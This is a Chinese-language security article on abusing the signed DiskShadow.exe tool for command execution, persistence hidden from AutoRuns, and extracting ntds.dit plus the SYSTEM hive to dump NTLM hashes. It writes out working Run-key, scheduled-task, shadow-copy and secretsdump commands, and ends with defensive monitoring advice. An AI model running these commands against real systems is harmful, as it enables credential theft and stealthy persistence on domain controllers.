导语:本文将讨论DiskShadow,展示相关特征和能力,提出基于IOCs的防御。
一、简介
不久前,我发表了一篇关于Vshadow的文章:Vshadow: Abusing the Volume Shadow Service for Evasion, Persistence, and Active Directory Database Extraction。该工具非常有趣,因为它是执行卷影复制操作的一个实用工具,还支持一些其他攻击功能。坦率地说,隐蔽和持久可能不是Vshadow.exe的强项,但其中的一些技巧与其替代产品DiskShadow.exe有着更多的相关性。
本文将讨论DiskShadow,展示相关特征和能力,提出基于IOCs的防御。
二、何为DiskShadow
DiskShadow.exe是一个由卷影复制服务(VSS)提供的公开工具。默认情况下,DiskShadow使用类似于DiskRaid或DiskPart的交互式命令解释器。此外,DiskShadow还包含脚本模式。
DiskShadow包含在Windows Server 2008、Windows Server 2012和Windows Server 2016中,是Windows签名的二进制文件。
DiskShadow的VSS功能需要特权才能访问(使用UAC提升),但是,非特权用户也可调用多个实用命令。这使得DiskShadow成为命令执行、隐藏以及持久化的一个非常好的选择。
三、DiskShadow命令行执行
作为特征之一,交互式命令解释程序和脚本模式支持EXEC命令。特权用户或非特权用户,都可以在交互模式或脚本文件中调用命令和批处理脚本。让我们来演示一下这些功能:
注:前面的例子是在最新安装/更新的Windows Server 2016上的非特权/非管理员帐户中执行的。依赖于操作系统版本和/或配置,以中等程序完整性运行此程序可能会失败。
交互模式
在下例中,普通用户调用calc.exe:
脚本模式
在下例中,普通用户使用脚本选项通过diskshadow.txt调用calc.exe和notepad.exe:
diskshadow.exe / s c:\ test \ diskshadow.txt
与Vshadow一样,DiskShadow.exe是生成的可执行文件的父进程。此外,DiskShadow将继续运行,直到其子进程执行完毕。
四、自启动及隐藏
由于DiskShadow是Windows签名的二进制文件,让我们来看看几个关于持久性和隐辟性的AutoRuns。结合前面的例子,更新脚本,然后创建一个RunKey和Scheduled Task。
准备
由于DiskShadow是“窗口向前”的(例如,弹出一个命令窗口),因此我们需要修改脚本,以便以尽可能快的方式调用poc pass-thru并关闭父DiskShadow和后续payload。在某些情况下,如果窗口打开时间过长(如果这个行为被用户注意到并报告,这对防御者来说是好的),则此技术就不太隐蔽。但是,如果用户在登录时看到这样的提示,就可能会忽略。
注意:前面的例子是在最新安装/更新的Windows Server 2016上的非特权/非管理用户帐户的下执行的。根据操作系统版本和/或配置,以中等程序完整性运行此程序可能会失败。
首先,让我们修改脚本(diskshadow.txt)来演示这项基本技术:
EXEC "cmd.exe" /c c:\test\evil.exe
*为支持命令开关,我们必须引用EXEC的初始二进制文件,这也适用于交互模式。
其次,使用以下命令添加自启动:
– 添加注册表项-
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v VSSRun /t REG_EXPAND_SZ /d "diskshadow.exe /s c:\test\diskshadow.txt"
– 用户级Scheduled Task –
schtasks /create /sc hourly /tn VSSTask /tr "diskshadow.exe /s c:\test\diskshadow.txt"
进一步看看这些…
AutoRuns – 添加注册表项
创建键值后,可以看到我们的key在打开AutoRuns并选择登录选项卡时隐藏。默认情况下,Windows签名的可执行文件在视图中隐藏(有一些值得注意的例外),如下屏幕截图所示:
取消“Hide Windows Entry”后,可以看到AutoRuns Entry:
AutoRuns – Scheduled Tasks
与Run Key方法一样,可以看到我们的条目隐藏在默认的AutoRuns视图中:
取消“Hide Windows Entry”后,可以看到AutoRuns Entry:
五、提取AD数据库
结合卷影复制工具的用法,我们来展示(另一个)用于提取AD数据库ntds.dit的VSS方法。在下面的演练中,假设我们成功地控制了Active Directory域控制器(Win2k12)并在脚本模式下的特权中运行DiskShadow。
首先,准备脚本。我们已经做了一些初步侦察确定用于shadow的目标驱动器号(用于包含AD数据库的逻辑驱动器),以及发现未在系统上使用的逻辑驱动器号。这是DiskShadow脚本(diskshadow.txt):
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset
在这个脚本中,我们创建了一个持久的影子副本,以便我们可以执行复制操作来捕获敏感的目标文件。通过加载一个(唯一的)逻辑驱动器,保证目标文件的复制路径,在删除由someAlias标识的影子副本之前将其提取到exfil目录。
*注:可以通过指定影子设备名称/唯一标识符来尝试复制目标文件。这稍微隐蔽点,但需确保标签/ UUID是正确的(通过初步侦察),否则脚本将无法运行。这种用法可能更适合于交互模式。
DiskShadow操作的命令和结果显示在屏幕截图中:
type c:\diskshadow.txt diskshadow.exe /s c:\diskshadow.txt dir c:\exfil
除AD数据库外,还需要提取SYSTEM注册表配置单元:
reg.exe save hklm\system c:\exfil\system.bak
从目标机传输完这些文件后,使用SecretsDump.py提取NTLM哈希:
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
成功了!我们已使用另一种方法来提取AD数据库和哈希值。现在,让我们来比较一下DiskShadow和Vshadow …
六、DiskShadow vs. Vshadow
DiskShadow.exe和VShadow.exe有着非常相似的功能。但是,他们之间也有一些区别,可以证明哪一个是更好的选择。我们来更详细地探讨一下:
操作系统
DiskShadow.exe包含在Windows Server 2008及其后的操作系统中,而Vshadow.exe包含在Windows SDK中。除非目标机器安装了Windows SDK,否则必须将Vshadow.exe上传到目标机器。在这一点上,DiskShadow.exe具有明显的优势。
用法
在普通用户下,可以使用多个DiskShadow功能,而不会产生特权(UAC)影响。在以前的测试中,Vshadow具有特权约束(例如,只能在运行VSS操作后调用外部命令执行)。此外,如前所述,DiskShadow具有灵活的命令交换支持。DiskShadow.exe在这点上有优势。
命令行方面
Vshadow是“命令行友好的”,而DiskShadow需要交互式或脚本文件。除非有(远程)TTY访问目标计算机的权限,否则DiskShadow的交互式可能不适用(例如,某些后门)。此外,创建文件或将文件上传到目标机器时会增加检测风险。在这种严格限制情况的下,Vshadow具有优势(尽管创建文本文件可能比上传二进制文件的影响更小——请参阅上一节)。
自启动和隐藏
在之前的Vshadow博客文章中提及Vshadow是使用Microsoft签名证书签署的。这具有AutoRuns含义,因此它将显示在默认视图中,因为Microsoft签名的二进制文件不会隐藏。由于DiskShadow是使用Windows证书签名的,因此它将隐藏在默认视图中。在这点上,DiskShadow具有优势。
AD数据库提取
如果脚本模式是DiskShadow用法的唯一选项,则在假定默认值无效的情况下(例如Shadow Volume磁盘名称不符合我们的预期),提取AD数据库可能需要执行额外的操作。除了制作和运行脚本之外,逻辑驱动器可能必须映射到目标机器上才能复制ntds.dit。这确实为卷影复制操作增加了额外的难度。Vshadow在这点上有优势。
七、总结
如果将所有事情都考虑周全,则DiskShadow似乎更便于操作。然而,这并不妨碍将Vshadow(还有其他VSS方法)作为威胁攻击中使用的备用工具。出于其他原因,Vshadow过去一直被恶意使用。对于DiskShadow,蓝军和网络运维人员应该考虑以下几点:
· 监视卷影服务(VSS)的随机shadow创建/删除以及任何涉及AD数据库文件(ntds.dit)的行为。
· 监视系统事件ID 7036(“卷影复制服务进入运行状态”)与调用VSSVC.exe进程的可疑进程。
· 监视diskshadow.exe和衍生子进程的进程创建事件。
· 监视进程的完整性。如果diskshadow.exe以中等完整性运行,那很可能是红色预警。
· 监视客户端上的diskshadow.exe。除非有必要,否则diskshadow.exe 应该不会出现在客户端Windows操作系统上。
· 监视新的和有趣的逻辑驱动器映射。
· 检查可疑的AutoRuns项。仔细检查签名的二进制文件及脚本文件。
· 强制应用程序白名单。严格的策略可能会阻止DiskShadow直按通过应用程序执行。
· 做好战斗准备,训练用户。如果他们看到某些东西(例如一个奇怪的弹窗口),应该说点什么!